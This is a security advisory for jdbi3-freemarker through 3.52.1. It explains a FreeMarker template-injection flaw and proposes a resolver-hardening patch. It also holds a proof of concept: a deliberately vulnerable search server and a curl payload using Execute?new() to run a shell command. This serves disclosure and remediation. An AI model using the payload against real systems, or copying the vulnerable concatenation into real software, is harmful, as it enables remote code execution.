GHSA-MGGX-P7JF-JGW4

Vulnerability from github – Published: 2026-05-05 22:15 – Updated: 2026-05-05 22:15
VLAI?
Summary
jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine
Details

Summary

Description

An Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using jdbi3-freemarker permits attacker-influenced text to reach FreemarkerEngine.parse() as template source. This affects org.jdbi:jdbi3-freemarker through version 3.52.1.

The developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.

Jdbi’s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi’s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such ORDER BY columns.

Details

Jdbi constructs the underlying freemarker.template.Configuration with DEFAULT_INCOMPATIBLE_IMPROVEMENTS and never installs a TemplateClassResolver, so Freemarker's legacy UNRESTRICTED_RESOLVER remains active and the ?new built-in can instantiate arbitrary classes, including freemarker.template.utility.Execute.

Two Configuration instances are constructed in the module, neither of which is hardened:

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java
public FreemarkerConfig() {
    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    freemarkerConfiguration.setNumberFormat("computer");
}
// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java
static {
    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    c.setNumberFormat("computer");
    CONFIGURATION = c;
}

The locator's CONFIGURATION is initialized once at class load and used by the deprecated static findTemplate(Class, String). It cannot be replaced via FreemarkerConfig#setFreemarkerConfiguration(...), so any fix must land in both call sites.

The sink is FreemarkerEngine.parse(), which constructs a Template from the raw SQL string and renders it against ctx.getAttributes():

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java
Template template = new Template(null, sqlTemplate,
        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());
return Optional.of(ctx -> {
    StringWriter writer = new StringWriter();
    template.process(ctx.getAttributes(), writer);
    return writer.toString();
});

Freemarker is the only built-in engine whose parse path provides reflective class loading by default.

Impact

This impacts all jdbi3-freemarker releases through 3.52.1. Exploitation requires that an application depend on jdbi3-freemarkerand allow request-derived text to flow into a SQL template body passed to Handle.createQuery(String), createUpdate(String), createCall(String), createScript(String), or Batch.add(String), or into a defined attribute that the template subsequently re-evaluates with ?eval or ?interpret.

An application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies ?eval / ?interpret to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.

Proposed Patch

The injection surface is the Configuration constructed by Jdbi on the application's behalf without a class-resolver policy.

FreemarkerConfig and FreemarkerSqlLocator's static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective ?new can override the Configuration via FreemarkerConfig#setFreemarkerConfiguration(...).

The static CONFIGURATION field cannot be reconfigured by application code at runtime, so a fix limited to FreemarkerConfig leaves the legacy locator path exploitable.

import freemarker.core.TemplateClassResolver;

// FreemarkerConfig.java
public FreemarkerConfig() {
    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    freemarkerConfiguration.setNumberFormat("computer");
    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
}

// FreemarkerSqlLocator.java
static {
    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    c.setNumberFormat("computer");
    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
    CONFIGURATION = c;
}

ALLOWS_NOTHING_RESOLVER rejects every ?new lookup, which is sufficient for SQL templating.SAFER_RESOLVER also closes RCE and blocks only Execute, ObjectConstructor, and JythonRuntime, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.

Proof of Concept

This PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi @Define attribute that the template subsequently evaluates.

# Create project directory
mkdir jdbi-freemarker-poc && cd jdbi-freemarker-poc

cat > pom.xml << 'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0">
  <modelVersion>4.0.0</modelVersion>
  <groupId>poc</groupId>
  <artifactId>jdbi-freemarker-poc</artifactId>
  <version>1.0</version>
  <properties>
    <maven.compiler.release>17</maven.compiler.release>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>
  <dependencies>
    <dependency>
      <groupId>org.jdbi</groupId>
      <artifactId>jdbi3-core</artifactId>
      <version>3.52.1</version>
    </dependency>
    <dependency>
      <groupId>org.jdbi</groupId>
      <artifactId>jdbi3-freemarker</artifactId>
      <version>3.52.1</version>
    </dependency>
    <dependency>
      <groupId>com.h2database</groupId>
      <artifactId>h2</artifactId>
      <version>2.2.224</version>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.13.0</version>
      </plugin>
    </plugins>
  </build>
</project>
EOF

mkdir -p src/main/java
cat > src/main/java/Server.java << 'EOF'
import com.sun.net.httpserver.HttpServer;
import org.jdbi.v3.core.Jdbi;
import org.jdbi.v3.core.statement.SqlStatements;
import org.jdbi.v3.freemarker.FreemarkerEngine;

import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;

public class Server {
    public static void main(String[] args) throws Exception {
        Jdbi jdbi = Jdbi.create("jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1");
        jdbi.getConfig(SqlStatements.class)
            .setTemplateEngine(FreemarkerEngine.instance());
        jdbi.useHandle(h -> {
            h.execute("create table users (id int, email varchar)");
            h.execute("insert into users values (1,'alice@example.com'),(2,'bob@example.com')");
        });

        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);
        http.createContext("/search", ex -> {
            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault("q", "");
            String sql = "select email from users where email like '%" + q + "%'";
            String body;
            try {
                body = jdbi.withHandle(h ->
                    h.createQuery(sql).mapTo(String.class).list().toString());
            } catch (Exception e) {
                body = "error: " + e.getMessage();
            }
            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);
            ex.sendResponseHeaders(200, bytes.length);
            ex.getResponseBody().write(bytes);
            ex.close();
        });
        http.start();
        System.out.println("listening on http://127.0.0.1:8050/search?q=...");
    }

    private static Map<String, String> parseQuery(String raw) {
        Map<String, String> out = new HashMap<>();
        if (raw == null) return out;
        for (String pair : raw.split("&")) {
            int eq = pair.indexOf('=');
            if (eq < 0) continue;
            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),
                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));
        }
        return out;
    }
}
EOF

mvn -q package
java -cp "target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)" Server &

Benign Request

$ curl -s 'http://127.0.0.1:8050/search?q=alice'
[alice@example.com]

Exploit

$ curl -sG 'http://127.0.0.1:8050/search' \
    --data-urlencode 'q=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("touch /tmp/jdbi-pwned")}'
[alice@example.com, bob@example.com]

$ ls -la /tmp/jdbi-pwned
-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.52.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jdbi:jdbi3-freemarker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:15:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Summary\n\n**Description**\n\nAn Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using `jdbi3-freemarker` permits attacker-influenced text to reach `FreemarkerEngine.parse()` as template source. This affects `org.jdbi:jdbi3-freemarker` through version 3.52.1.\n\nThe developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.\n\nJdbi\u2019s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi\u2019s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such `ORDER BY` columns. \n## Details\n\nJdbi constructs the underlying `freemarker.template.Configuration` with `DEFAULT_INCOMPATIBLE_IMPROVEMENTS` and never installs a `TemplateClassResolver`, so Freemarker\u0027s legacy `UNRESTRICTED_RESOLVER` remains active and the `?new` built-in can instantiate arbitrary classes, including `freemarker.template.utility.Execute`.\n\nTwo `Configuration` instances are constructed in the module, neither of which is hardened:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n}\n```\n\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    CONFIGURATION = c;\n}\n```\nThe locator\u0027s `CONFIGURATION` is initialized once at class load and used by the deprecated static `findTemplate(Class, String)`. It cannot be replaced via `FreemarkerConfig#setFreemarkerConfiguration(...)`, so any fix must land in both call sites.\n\nThe sink is `FreemarkerEngine.parse()`, which constructs a `Template` from the raw SQL string and renders it against `ctx.getAttributes()`:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java\nTemplate template = new Template(null, sqlTemplate,\n        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());\nreturn Optional.of(ctx -\u003e {\n    StringWriter writer = new StringWriter();\n    template.process(ctx.getAttributes(), writer);\n    return writer.toString();\n});\n```\n\nFreemarker is the only built-in engine whose parse path provides reflective class loading by default.\n## Impact\n\nThis impacts all `jdbi3-freemarker` releases through 3.52.1. Exploitation requires that an application depend on `jdbi3-freemarker`and allow request-derived text to flow into a SQL template body passed to `Handle.createQuery(String)`, `createUpdate(String)`, `createCall(String)`, `createScript(String)`, or `Batch.add(String)`, or into a defined attribute that the template subsequently re-evaluates with `?eval` or `?interpret`.\n\nAn application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies `?eval` / `?interpret` to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.\n## Proposed Patch\n\nThe injection surface is the `Configuration` constructed by Jdbi on the application\u0027s behalf without a class-resolver policy.\n\n`FreemarkerConfig`\u00a0and\u00a0`FreemarkerSqlLocator`\u0027s static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective\u00a0`?new`\u00a0can override the\u00a0`Configuration`\u00a0via\u00a0`FreemarkerConfig#setFreemarkerConfiguration(...)`.\n\nThe static `CONFIGURATION` field cannot be reconfigured by application code at runtime, so a fix limited to `FreemarkerConfig` leaves the legacy locator path exploitable.\n```java\nimport freemarker.core.TemplateClassResolver;\n\n// FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n}\n\n// FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n    CONFIGURATION = c;\n}\n```\n\n`ALLOWS_NOTHING_RESOLVER` rejects every `?new` lookup, which is sufficient for SQL templating.`SAFER_RESOLVER` also closes RCE and blocks only `Execute`, `ObjectConstructor`, and `JythonRuntime`, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.\n\n## Proof of Concept\n\nThis PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi `@Define` attribute that the template subsequently evaluates.\n```bash\n# Create project directory\nmkdir jdbi-freemarker-poc \u0026\u0026 cd jdbi-freemarker-poc\n\ncat \u003e pom.xml \u003c\u003c \u0027EOF\u0027\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\u003e\n  \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n  \u003cgroupId\u003epoc\u003c/groupId\u003e\n  \u003cartifactId\u003ejdbi-freemarker-poc\u003c/artifactId\u003e\n  \u003cversion\u003e1.0\u003c/version\u003e\n  \u003cproperties\u003e\n    \u003cmaven.compiler.release\u003e17\u003c/maven.compiler.release\u003e\n    \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n  \u003c/properties\u003e\n  \u003cdependencies\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eorg.jdbi\u003c/groupId\u003e\n      \u003cartifactId\u003ejdbi3-core\u003c/artifactId\u003e\n      \u003cversion\u003e3.52.1\u003c/version\u003e\n    \u003c/dependency\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eorg.jdbi\u003c/groupId\u003e\n      \u003cartifactId\u003ejdbi3-freemarker\u003c/artifactId\u003e\n      \u003cversion\u003e3.52.1\u003c/version\u003e\n    \u003c/dependency\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003ecom.h2database\u003c/groupId\u003e\n      \u003cartifactId\u003eh2\u003c/artifactId\u003e\n      \u003cversion\u003e2.2.224\u003c/version\u003e\n    \u003c/dependency\u003e\n  \u003c/dependencies\u003e\n  \u003cbuild\u003e\n    \u003cplugins\u003e\n      \u003cplugin\u003e\n        \u003cgroupId\u003eorg.apache.maven.plugins\u003c/groupId\u003e\n        \u003cartifactId\u003emaven-compiler-plugin\u003c/artifactId\u003e\n        \u003cversion\u003e3.13.0\u003c/version\u003e\n      \u003c/plugin\u003e\n    \u003c/plugins\u003e\n  \u003c/build\u003e\n\u003c/project\u003e\nEOF\n\nmkdir -p src/main/java\ncat \u003e src/main/java/Server.java \u003c\u003c \u0027EOF\u0027\nimport com.sun.net.httpserver.HttpServer;\nimport org.jdbi.v3.core.Jdbi;\nimport org.jdbi.v3.core.statement.SqlStatements;\nimport org.jdbi.v3.freemarker.FreemarkerEngine;\n\nimport java.net.InetSocketAddress;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Server {\n    public static void main(String[] args) throws Exception {\n        Jdbi jdbi = Jdbi.create(\"jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1\");\n        jdbi.getConfig(SqlStatements.class)\n            .setTemplateEngine(FreemarkerEngine.instance());\n        jdbi.useHandle(h -\u003e {\n            h.execute(\"create table users (id int, email varchar)\");\n            h.execute(\"insert into users values (1,\u0027alice@example.com\u0027),(2,\u0027bob@example.com\u0027)\");\n        });\n\n        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);\n        http.createContext(\"/search\", ex -\u003e {\n            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault(\"q\", \"\");\n            String sql = \"select email from users where email like \u0027%\" + q + \"%\u0027\";\n            String body;\n            try {\n                body = jdbi.withHandle(h -\u003e\n                    h.createQuery(sql).mapTo(String.class).list().toString());\n            } catch (Exception e) {\n                body = \"error: \" + e.getMessage();\n            }\n            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);\n            ex.sendResponseHeaders(200, bytes.length);\n            ex.getResponseBody().write(bytes);\n            ex.close();\n        });\n        http.start();\n        System.out.println(\"listening on http://127.0.0.1:8050/search?q=...\");\n    }\n\n    private static Map\u003cString, String\u003e parseQuery(String raw) {\n        Map\u003cString, String\u003e out = new HashMap\u003c\u003e();\n        if (raw == null) return out;\n        for (String pair : raw.split(\"\u0026\")) {\n            int eq = pair.indexOf(\u0027=\u0027);\n            if (eq \u003c 0) continue;\n            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),\n                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));\n        }\n        return out;\n    }\n}\nEOF\n\nmvn -q package\njava -cp \"target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)\" Server \u0026\n```\n\nBenign Request\n```bash\n$ curl -s \u0027http://127.0.0.1:8050/search?q=alice\u0027\n[alice@example.com]\n```\n\nExploit\n```bash\n$ curl -sG \u0027http://127.0.0.1:8050/search\u0027 \\\n    --data-urlencode \u0027q=\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e${ex(\"touch /tmp/jdbi-pwned\")}\u0027\n[alice@example.com, bob@example.com]\n\n$ ls -la /tmp/jdbi-pwned\n-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned\n```",
  "id": "GHSA-mggx-p7jf-jgw4",
  "modified": "2026-05-05T22:15:17Z",
  "published": "2026-05-05T22:15:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdbi/jdbi/security/advisories/GHSA-mggx-p7jf-jgw4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdbi/jdbi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…